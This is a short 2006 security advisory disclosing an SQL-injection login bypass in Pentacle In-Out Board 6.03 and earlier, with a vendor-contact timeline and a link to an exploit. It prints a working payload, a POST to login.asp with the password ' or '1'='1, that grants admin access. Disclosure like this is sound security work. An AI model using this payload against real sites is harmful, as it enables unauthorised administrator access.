--Security Report-- Advisory: Pentacle In-Out Board <= 6.03 (login.asp) Authencation ByPass Vulnerability --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 25/02/06 05:56 AM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx (at) nukedx (dot) com Web: http://www.nukedx.com } --- Vendor: G2SOFT (www.g2soft.net) Version: 6.03 and prior versions must be affected. About: Via this method remote attacker can bypass login.asp and login as admin. Level: Critical --- How: SQL query in line 31 of login.asp which is checking username and password did not sanitized properly. POST -> http://[site]/[ptdir]/login.asp?username=any&password=' or '1'='1 -- Timeline: * 25/02/2006: Vulnerability found. * 25/02/2006: Contacted with vendor and waiting reply. -- Exploit: http://www.nukedx.com/?getxpl=13 -- Original advisory: http://www.nukedx.com/?viewdoc=13